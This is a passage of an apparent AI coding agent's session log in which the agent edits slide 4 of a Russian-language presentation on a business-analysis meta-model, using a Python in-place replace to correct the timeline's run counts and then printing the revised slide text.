\"CAQShw0KEAgSGAI4AUIIdGhpbmtpbmcSDNy/dNA5BinWEjK44BoMlet9brHwLv7QOQHTIjBfn5wPOru2XJ8f66z6v9alQ+O1/J1/CIA6DZVI6tne04RB/5Ncoly35/drp+fqeLwqpAwcil9WpKccCuHzLx76cVozTiIYBxJAXH650+BwVW+aYCEbichkQ3HC71jcC1RbBpd+aviB8j8G+Gb8SvOQLecVKeVq2XACYoPAHk0pVCTWnQcQ+XR1pT7JZASRpbJc7V+zD5NQLcfHs/WIwAklTDfzs9/k56XCEWmKgHjCOMp3YC4j+bTy966O1UhIbus0N6tcmyQ8hjEDIfFQwHfW6OG6wvIPUIVJHdod/n3fKyI7i8Lk1x/apuKAlfhdRN4qXjx2fYimkAmt+gyd1HuLJJvMOHy7QT0KEs6FLsWGtq9BEoetiCStXGLXR39kbas+4LtrJOgpmqdCMYhfUvxb1c5Z97ae9aobMEKPiWWq9P0/7vjKSiv/CGMzJwuFXduhIMumHVJDqkpIKr7ANha49aYt8YQAGh4VsoKbe6okWInS9tFpRtjhvHq0Hax75qoDbyoOdxHBroWcdMOZrMVg0zilM+mxV5/XB6kNLoVB8fanj2sNEk2lDYffeduB/w4Ck73DCejjy35EwTY3WyThY4p/9+o8coL8J1N80zXvxbVeYC30w+2SAgY1BS+L2B56d0DxPCsPSytGFChURJjov3J9kMVHYJo+nFRj+EOVbQIh+LHuLIH4JM8WlB2J+XXfirigIdLl9zbuNG66zCs6EOTeqfN3k2evlRaCQ6OI7Lp2HZdB7ISNZIkgiUdAPCky6y7mRJJXxOlLjaS2z/LtEkH/lX6JP9xnRqrESPOAcGhkRqpuov7U9Py/pqAyoGARP5olZ2ZjFcxhp9TtAf1Ok85kC9oyw+8A588qTx3ZQJC0F86nvaONpLiN8np/ipNsv2qqDE/nCvvmSoUzk/BCv10nKn/SAqVfLYPpdcJqTw+4E78HVr7O8QGyaveHd48wkp4jvjhkjoPD+AWkAN/Te3Doq0sIRs9Wka2NoEP8Sl70hV9Rz5XelSYEwdwvkAtIjLrIxCtSMKx8s6XQIG6ofo1/8n7gag5RSSlzF3V7gqr0rglBM389L49gonphV5DyQOUsQQ4w9AI8Tia31lSFxluObv9u5uLJcbaSwCSRAzZfTB/PQNvfKr0C0VLhDaiV1Pcmi/7eBXzxM/PpbGEdkBjXDPmvluw6TwbzeCQj3uvG7uMeor0iwUul1VFreG61QEUTtPrc/VvXSfWUheU6Y0eRl0A78ZrzP7CTzeke43pte4XtqV8X+VepclRLyNlEpCwlUN28raPVDc9Zs2AL49Egw/ZqL1rY+lmkpsxaMDw4RbtxknQXbLTun1ddg2gijn8thJmdyIfB4wtXKgskD2l+Grcs/NNd43nU85+xLIwk9qEqitb5Ve+YD/4ui0Xlm7QYKFFIW08PVsx6+O93oZum23w+BZsb10Oxpk1qmsbQ26ioFoGaJC+UYCAVe3jkzBqJqQ3ffBqYJWNCm+NxicfsptTXLkkFEievGBd9OAORBPM4Rp5gM9yAzHZFyvPSicC6TSgEgsJAzpjFUH/sqBSfh7YpSWSPNQ5LNhLdUPEFipXKfPHlf07M623lQid8rU8+TeAnQeTqenRce9gzkvhT0SzGz1RzkYaegyCFDrg+D0DIhXojUmZeGn3engcYRL0GKN5Po9PDeMdjiwK6VZFqQep8I+oSPowb7VRncr+pvGAkjAZFx/58gzHNGAd/xSAyNp0n4AKR4bmbTVnyVHgBezKh7mm7httZkwmAENAeCv4/tRSuyJ7qrxg4UY2cxPR97nt6zszZ5+2lxSxtgaSE4hz9i6W0oMI7hizYKHJSSJ6NbHznebIr1uqXwGhwZAhpAniHALf4kGwLPWKPneFUM8Q3cANpbc6GFFIqzahKdcTuGWECh11N4neZ/AAvxPAjiqTWljm330x8lFcnBTRI5SDtEXzmhdUPHHdTNCCzkhBqDxtUcuGoaTCBXpDHTUQbz62dj5eOiskkkyDrbNRuoz4px7hFmJUP8C5BQSBxN00/v1dJdigoaB8SoMc2cMTRDhfJsQ+cSaScSY4bkcz4B7CSgh1xw49XnCB1IzWq1jfiYyPbdo1GocXyZYkl3DWtnS7TJgsRPxEWs8WiVyDk9zn3TgHJxuM2gg6YA6DJngVAezwYAQ==\"\n[2026-09-29T07:51:13.389Z] [INFO]       }\n[2026-09-29T07:51:13.389Z] [INFO]     ],\n[2026-09-29T07:51:13.389Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:13.389Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:13.389Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:13.389Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:13.389Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:13.389Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:13.389Z] [INFO]       \"cache_creation_input_tokens\": 3616,\n[2026-09-29T07:51:13.389Z] [INFO]       \"cache_read_input_tokens\": 94847,\n[2026-09-29T07:51:13.389Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:13.389Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:13.389Z] [INFO]         \"ephemeral_1h_input_tokens\": 3616\n[2026-09-29T07:51:13.389Z] [INFO]       },\n[2026-09-29T07:51:13.389Z] [INFO]       \"output_tokens\": 5,\n[2026-09-29T07:51:13.389Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:13.389Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:13.389Z] [INFO]     },\n[2026-09-29T07:51:13.389Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:13.389Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:13.389Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:13.389Z] [INFO]   },\n[2026-09-29T07:51:13.389Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:13.389Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:13.389Z] [INFO]   \"uuid\": \"281473a2-85d7-4896-a682-330a9a7affb0\",\n[2026-09-29T07:51:13.389Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:13.350Z\",\n[2026-09-29T07:51:13.389Z] [INFO]   \"request_id\": \"req_011CfXNC7nHP3sa9TtXjHmsm\"\n[2026-09-29T07:51:13.389Z] [INFO] }\n[2026-09-29T07:51:16.633Z] [INFO] {\n[2026-09-29T07:51:16.633Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:16.633Z] [INFO]   \"message\": {\n[2026-09-29T07:51:16.633Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:16.633Z] [INFO]     \"id\": \"msg_011CfXNC8MW4P635BcVaSAuZ\",\n[2026-09-29T07:51:16.633Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:16.633Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:16.633Z] [INFO]     \"content\": [\n[2026-09-29T07:51:16.633Z] [INFO]       {\n[2026-09-29T07:51:16.633Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:51:16.633Z] [INFO]         \"id\": \"toolu_01JzFPFhoer4FFJrrnaFekEH\",\n[2026-09-29T07:51:16.633Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:51:16.633Z] [INFO]         \"input\": {\n[2026-09-29T07:51:16.633Z] [INFO]           \"command\": \"python3 - <<'EOF'\\np='2026-09-29-meta-model-presentation-slides.md'\\ns=open(p).read()\\na=\\\"\\\"\\\"- **\u0410\u0432\u0433\u0443\u0441\u0442:** 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432\\n  \u043d\u0435\u0442. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\\n- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430\u0448\u043b\u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432; 10 \u0438\u0437 12\\n  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\\"\\\"\\\"\\nb=\\\"\\\"\\\"- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0430\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e,\\n  \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\\n- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432. \u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043d\u0430 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443; 10 \u0438\u0437 12\\n  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\\"\\\"\\\"\\nassert s.count(a)==1; s=s.replace(a,b); open(p,'w').write(s)\\nEOF\\nsed -n 180,215p 2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T07:51:16.633Z] [INFO]           \"description\": \"Fix slide 4 timeline accuracy\"\n[2026-09-29T07:51:16.633Z] [INFO]         },\n[2026-09-29T07:51:16.633Z] [INFO]         \"caller\": {\n[2026-09-29T07:51:16.633Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:51:16.633Z] [INFO]         }\n[2026-09-29T07:51:16.633Z] [INFO]       }\n[2026-09-29T07:51:16.633Z] [INFO]     ],\n[2026-09-29T07:51:16.633Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:16.633Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:16.633Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:16.633Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:16.633Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:16.633Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:16.633Z] [INFO]       \"cache_creation_input_tokens\": 3616,\n[2026-09-29T07:51:16.633Z] [INFO]       \"cache_read_input_tokens\": 94847,\n[2026-09-29T07:51:16.633Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:16.633Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:16.633Z] [INFO]         \"ephemeral_1h_input_tokens\": 3616\n[2026-09-29T07:51:16.633Z] [INFO]       },\n[2026-09-29T07:51:16.633Z] [INFO]       \"output_tokens\": 5,\n[2026-09-29T07:51:16.633Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:16.633Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:16.633Z] [INFO]     },\n[2026-09-29T07:51:16.633Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:16.633Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:16.633Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:16.633Z] [INFO]   },\n[2026-09-29T07:51:16.633Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:16.633Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:16.633Z] [INFO]   \"uuid\": \"613dbe02-e387-49f0-a5f9-8b5a002fc4e9\",\n[2026-09-29T07:51:16.633Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:16.625Z\",\n[2026-09-29T07:51:16.633Z] [INFO]   \"request_id\": \"req_011CfXNC7nHP3sa9TtXjHmsm\",\n[2026-09-29T07:51:16.633Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:51:16.633Z] [INFO]     \"toolu_01JzFPFhoer4FFJrrnaFekEH\": {\n[2026-09-29T07:51:16.633Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation && python3 - <<'EOF'\\np='2026-09-29-meta-model-presentation-slides.md'\\ns=open(p).read()\\na=\\\"\\\"\\\"- **\u0410\u0432\u0433\u0443\u0441\u0442:** 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432\\n  \u043d\u0435\u0442. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\\n- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430\u0448\u043b\u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432; 10 \u0438\u0437 12\\n  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\\"\\\"\\\"\\nb=\\\"\\\"\\\"- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0430\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e,\\n  \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\\n- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432. \u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043d\u0430 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443; 10 \u0438\u0437 12\\n  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\\"\\\"\\\"\\nassert s.count(a)==1; s=s.replace(a,b); open(p,'w').write(s)\\nEOF\\nsed -n 180,215p 2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T07:51:16.633Z] [INFO]       \"description\": \"Fix slide 4 timeline accuracy\"\n[2026-09-29T07:51:16.633Z] [INFO]     }\n[2026-09-29T07:51:16.633Z] [INFO]   },\n[2026-09-29T07:51:16.633Z] [INFO]   \"wire_ingest_context\": {\n[2026-09-29T07:51:16.633Z] [INFO]     \"toolu_01JzFPFhoer4FFJrrnaFekEH\": {\n[2026-09-29T07:51:16.633Z] [INFO]       \"cwd\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation\"\n[2026-09-29T07:51:16.633Z] [INFO]     }\n[2026-09-29T07:51:16.633Z] [INFO]   }\n[2026-09-29T07:51:16.633Z] [INFO] }\n[2026-09-29T07:51:18.589Z] [INFO] {\n[2026-09-29T07:51:18.589Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:51:18.589Z] [INFO]   \"message\": {\n[2026-09-29T07:51:18.589Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:51:18.589Z] [INFO]     \"content\": [\n[2026-09-29T07:51:18.589Z] [INFO]       {\n[2026-09-29T07:51:18.589Z] [INFO]         \"tool_use_id\": \"toolu_01JzFPFhoer4FFJrrnaFekEH\",\n[2026-09-29T07:51:18.589Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:51:18.589Z] [INFO]         \"content\": \"[\u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md),\\n[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\\n[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 6%](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n- **\u0418\u044e\u043d\u044c:** \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430;\\n  \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\\n- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0430\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e,\\n  \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\\n- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432. \u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043d\u0430 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443; 10 \u0438\u0437 12\\n  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- **\u0412\u044b\u0432\u043e\u0434:** \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\\n\\n> **\u0418\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u2026 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\\n> \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439\u00bb.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0448\u043a\u0430\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u00abRUN-0001 \u2192 RUN-0069\u00bb \u0441 \u0442\u0440\u0435\u043c\u044f\\n\u0432\u0435\u0445\u0430\u043c\u0438: \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u2192 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u2192 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA timeline running left to right: on the left a tangled heap of\\nhandwritten prompt cards, in the middle a forensic magnifying glass\\nover a row of numbered run folders, on the right a clean architectural\\nblueprint of connected blocks rising from the same folders.\\nSTYLE: clean isometric technical illustration, deep navy background,\",\n[2026-09-29T07:51:18.589Z] [INFO]         \"is_error\": false\n[2026-09-29T07:51:18.589Z] [INFO]       }\n[2026-09-29T07:51:18.589Z] [INFO]     ]\n[2026-09-29T07:51:18.589Z] [INFO]   },\n[2026-09-29T07:51:18.589Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:18.589Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:18.589Z] [INFO]   \"uuid\": \"c48810b9-e85b-4f36-bdbc-969536cbec05\",\n[2026-09-29T07:51:18.589Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:18.583Z\",\n[2026-09-29T07:51:18.589Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:51:18.589Z] [INFO]     \"stdout\": \"[\u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md),\\n[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\\n[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 6%](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n- 